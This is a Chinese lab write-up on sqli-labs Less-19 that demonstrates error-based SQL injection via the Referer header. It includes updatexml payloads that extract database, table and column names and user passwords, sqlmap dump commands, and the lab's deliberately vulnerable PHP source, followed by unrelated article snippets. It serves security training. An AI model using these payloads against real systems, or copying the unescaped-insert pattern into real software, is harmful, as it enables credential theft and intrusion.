sql-labs靶场第十九关测试报告

ops/2024/10/23 13:32:04/

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

sqlmap%E6%B3%A8%E5%85%A5%E6%96%B9%E6%B3%95-toc" style="margin-left:40px;">3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-19/

二、测试目的

测试referer请求头的sql注入,使用报错注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

这关首先要知道正确的账号和密码,可以去前些关拿到账号和密码

(这里因为十七关是重置密码的页面,将密码重置为1了,需要原本的密码重置sql-labs的数据库即可)

登录失败,没有显示

成功登录会显示referer信息,注入点在referer

2、注入数据库

①寻找注入方法

提交方式还是post,在referer头部注入,报错注入成功,注入代码和上一关一致,只是注入点变了。

a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#

or和and是逻辑判断符,为了闭合sql语句,返回布尔值为真,使sql语句合理并运行。

②爆库,查看数据库名称

爆出所有数据库(只写了一条例子),示例:

a' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) and '1'='#

③爆表,查看security库的所有表

爆表,security表

a' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) and '1'='#

④爆列,查看users表的所有列

爆列,users表

a' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1) and '1'='#

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

a' or updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1) and '1'='#

sqlmap%E6%B3%A8%E5%85%A5%E6%96%B9%E6%B3%95">3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=3 --dbs

使用python程序

-r  指定抓到的数据包文件

--level=3      这个等级会检测user-agent、referer是否含有注入

--dbs   是爆库的参数

②爆表

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=3 -D security --tables 

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=3 -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=3 -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,20);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}$uagent = $_SERVER['HTTP_REFERER'];$IP = $_SERVER['REMOTE_ADDR'];echo "<br>";echo 'Your IP ADDRESS is: ' .$IP;echo "<br>";//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);/*echo 'Your Your User name:'. $uname;echo "<br>";echo 'Your Password:'. $passwd;echo "<br>";echo 'Your User Agent String:'. $uagent;echo "<br>";echo 'Your User Agent String:'. $IP;*///logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a');fwrite($fp,'Referer:'.$uname."\n");fclose($fp);$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";mysql_query($insert);//echo 'Your IP ADDRESS is: ' .$IP;echo "</font>";//echo "<br>";echo '<font color= "#0000ff" font size = 3 >';          echo 'Your Referer is: ' .$uagent;echo "</font>";echo "<br>";print_r(mysql_error());         echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";           echo "</br>";echo '<img src="../images/slap.jpg"  />';   echo "</font>";  }}?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.获取变量是referer头和ip,sql语句是将referer和ip和用户名插入到referers表中。

3.这关会弹出referer信息,也会有报错信息,利用报错信息,使用报错注入得到结果。

4.insertSQL语句,插入三个值,插入的变量是$uagent(外边加了引号),sql注入语句:'a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#',or和and逻辑判断符,使得语句确定为true,使insert语句正常运行,不至于语句出错。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

sqlmap的话,需要指定抓到的数据包,也需要指定level,爆破referer头需要level 3。

这关使用报错注入得到结果。


http://www.ppmy.cn/ops/127828.html

相关文章

webAPI中的offset、client、scroll

一、元素偏移量offset 1.offset概述 offset翻译成中文叫&#xff1a;偏移量&#xff0c;我们使用offset系列相关属性可以动态的得到该元素的位置&#xff08;偏移&#xff09;、大小等等 获得元素距离带有定位父元素的位置获得元素自身的大小&#xff08;宽度和高度&#xf…

Python 爬虫实战与技巧分享--urllib

Python 爬虫实战与技巧分享–urllib 在当今信息时代&#xff0c;数据的价值日益凸显。Python 爬虫作为一种强大的数据获取工具&#xff0c;能够帮助我们从互联网上抓取各种有价值的信息。本文将结合具体代码示例&#xff0c;深入探讨 Python 爬虫的相关知识和关键要点。 一、…

MyBatis 中updateByPrimaryKey和updateByPrimaryKeySelective区别

在 MyBatis 中&#xff0c;updateByPrimaryKey和updateByPrimaryKeySelective主要有以下区别&#xff1a; 一、功能 updateByPrimaryKey&#xff1a; 会根据传入的实体对象&#xff0c;将数据库表中对应主键的记录所有字段全部更新为实体对象中的值。即使实体对象中的某些字段…

数据分析题面试题系列2

一.如何估算星巴克一天的营业额 a.需求澄清&#xff1a;区域&#xff1f;节假日&#xff1f;产品范围&#xff1f; b.收入销售杯数*单价&#xff08;营业时间*每小时产能*每小时产能利用率&#xff09;*平均单价 Hypo该星巴克门店的营业时间为12小时&#xff08;取整&#x…

vxe-table 导入导出功能全解析

一、vxe-table 导入导出功能概述 vxe-table 的导入导出功能在数据处理中具有至关重要的作用。在现代数据管理和处理的场景中&#xff0c;高效地导入和导出数据是提高工作效率的关键。 对于导入功能而言&#xff0c;它允许用户将外部的表格数据&#xff0c;如 Excel 文件&…

【RTT-Studio】详细使用教程十七:FreeModbus通信--LCD

文章目录 一、简介二、Modbus通信三、LCD通信四、配置FreeModbus通信协议四、完整代码五、测试验证 一、简介 Modbus协议是一种用于工业控制的网络通讯协议&#xff0c;可以片面的理解为&#xff0c;Modbus协议一种机器与机器之间进行数据、信息传递的一种格式规范。   Modbu…

大模型落地实战指南:从选择到训练,深度解析显卡选型、模型训练技、模型选择巧及AI未来展望---打造AI应用新篇章

0.前言大模型发展史 早期阶段&#xff08;1950s~1980s&#xff09; 在1950年代初期&#xff0c;人们开始尝试使用计算机处理自然语言文本。然而&#xff0c;由于当时的计算机处理能力非常有限&#xff0c;很难处理自然语言中的复杂语法和语义。随着技术的发展&#xff0c;自然…

linux命令之lvdisplay用法

lvdisplay 显示逻辑卷属性 补充说明 lvdisplay命令 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数&#xff0c;则lvdisplay命令显示所有的逻辑卷属性。否则&#xff0c;仅显示指定的逻辑卷属性。 语法 lvdisplay(参数)参数 逻辑…